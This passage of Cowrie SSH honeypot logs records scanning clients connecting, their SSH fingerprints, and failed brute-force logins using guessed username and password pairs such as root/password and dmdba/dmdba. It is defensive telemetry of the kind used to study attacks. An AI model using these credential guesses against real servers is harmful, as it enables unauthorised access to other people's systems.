{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:46.445302Z","src_ip":"154.83.196.237","session":"06f33e0334d7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":49130,"dst_ip":"10.17.0.5","dst_port":22,"session":"2ccd6e9ad482","protocol":"ssh","message":"New connection: 43.163.119.215:49130 (10.17.0.5:22) [session: 2ccd6e9ad482]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:49.398123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:49.403340Z","src_ip":"43.163.119.215","session":"2ccd6e9ad482","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:49.641088Z","src_ip":"43.163.119.215","session":"2ccd6e9ad482","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:50.353617Z","src_ip":"43.163.119.215","session":"2ccd6e9ad482","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:51.593490Z","src_ip":"43.163.119.215","session":"2ccd6e9ad482","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":51320,"dst_ip":"10.17.0.5","dst_port":22,"session":"ace8d839a5dd","protocol":"ssh","message":"New connection: 205.209.121.72:51320 (10.17.0.5:22) [session: ace8d839a5dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:59.025430Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:59.030568Z","src_ip":"205.209.121.72","session":"ace8d839a5dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:59.038390Z","src_ip":"205.209.121.72","session":"ace8d839a5dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nas@123","message":"login attempt [root/nas@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:23:59.090809Z","src_ip":"205.209.121.72","session":"ace8d839a5dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:00.101478Z","src_ip":"205.209.121.72","session":"ace8d839a5dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":45738,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2821fdc55e3","protocol":"ssh","message":"New connection: 103.75.199.4:45738 (159.203.135.109:22) [session: a2821fdc55e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:05.647053Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:05.653519Z","src_ip":"103.75.199.4","session":"a2821fdc55e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:05.749079Z","src_ip":"103.75.199.4","session":"a2821fdc55e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":35850,"dst_ip":"159.203.135.109","dst_port":22,"session":"3982cbf71e66","protocol":"ssh","message":"New connection: 186.116.56.108:35850 (159.203.135.109:22) [session: 3982cbf71e66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:05.895382Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:05.901131Z","src_ip":"186.116.56.108","session":"3982cbf71e66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:05.999005Z","src_ip":"186.116.56.108","session":"3982cbf71e66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:06.039638Z","src_ip":"103.75.199.4","session":"a2821fdc55e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Lhx123456","message":"login attempt [root/Lhx123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:06.408627Z","src_ip":"186.116.56.108","session":"3982cbf71e66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:07.138283Z","src_ip":"103.75.199.4","session":"a2821fdc55e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:07.505142Z","src_ip":"186.116.56.108","session":"3982cbf71e66","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":53930,"dst_ip":"10.17.0.5","dst_port":22,"session":"7395bfd18467","protocol":"ssh","message":"New connection: 67.102.183.113:53930 (10.17.0.5:22) [session: 7395bfd18467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:11.904758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:11.909610Z","src_ip":"67.102.183.113","session":"7395bfd18467","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:11.980037Z","src_ip":"67.102.183.113","session":"7395bfd18467","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootpwd","message":"login attempt [root/rootpwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:12.289863Z","src_ip":"67.102.183.113","session":"7395bfd18467","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:13.363719Z","src_ip":"67.102.183.113","session":"7395bfd18467","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":38124,"dst_ip":"159.203.135.109","dst_port":22,"session":"d13727ff5dae","protocol":"ssh","message":"New connection: 103.75.199.4:38124 (159.203.135.109:22) [session: d13727ff5dae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:27.527914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:27.536921Z","src_ip":"103.75.199.4","session":"d13727ff5dae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:27.628544Z","src_ip":"103.75.199.4","session":"d13727ff5dae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz@WSX","message":"login attempt [root/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:27.901699Z","src_ip":"103.75.199.4","session":"d13727ff5dae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:28.996806Z","src_ip":"103.75.199.4","session":"d13727ff5dae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":58488,"dst_ip":"159.203.135.109","dst_port":22,"session":"b09bfa0abe10","protocol":"ssh","message":"New connection: 162.243.147.237:58488 (159.203.135.109:22) [session: b09bfa0abe10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:33.939175Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:33.943848Z","src_ip":"162.243.147.237","session":"b09bfa0abe10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:34.007877Z","src_ip":"162.243.147.237","session":"b09bfa0abe10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd-sync","password":"warnight","message":"login attempt [systemd-sync/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:34.292508Z","src_ip":"162.243.147.237","session":"b09bfa0abe10","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":60918,"dst_ip":"10.17.0.5","dst_port":22,"session":"51fed8255f50","protocol":"ssh","message":"New connection: 43.163.119.215:60918 (10.17.0.5:22) [session: 51fed8255f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:34.555673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:34.562544Z","src_ip":"43.163.119.215","session":"51fed8255f50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:34.808631Z","src_ip":"43.163.119.215","session":"51fed8255f50","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:35.359149Z","src_ip":"162.243.147.237","session":"b09bfa0abe10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba","message":"login attempt [dmdba/dmdba] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:35.548931Z","src_ip":"43.163.119.215","session":"51fed8255f50","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":60906,"dst_ip":"10.17.0.5","dst_port":22,"session":"d068072f5182","protocol":"ssh","message":"New connection: 43.163.119.215:60906 (10.17.0.5:22) [session: d068072f5182]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:35.597019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:24:35.601884Z","src_ip":"43.163.119.215","session":"d068072f5182","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-e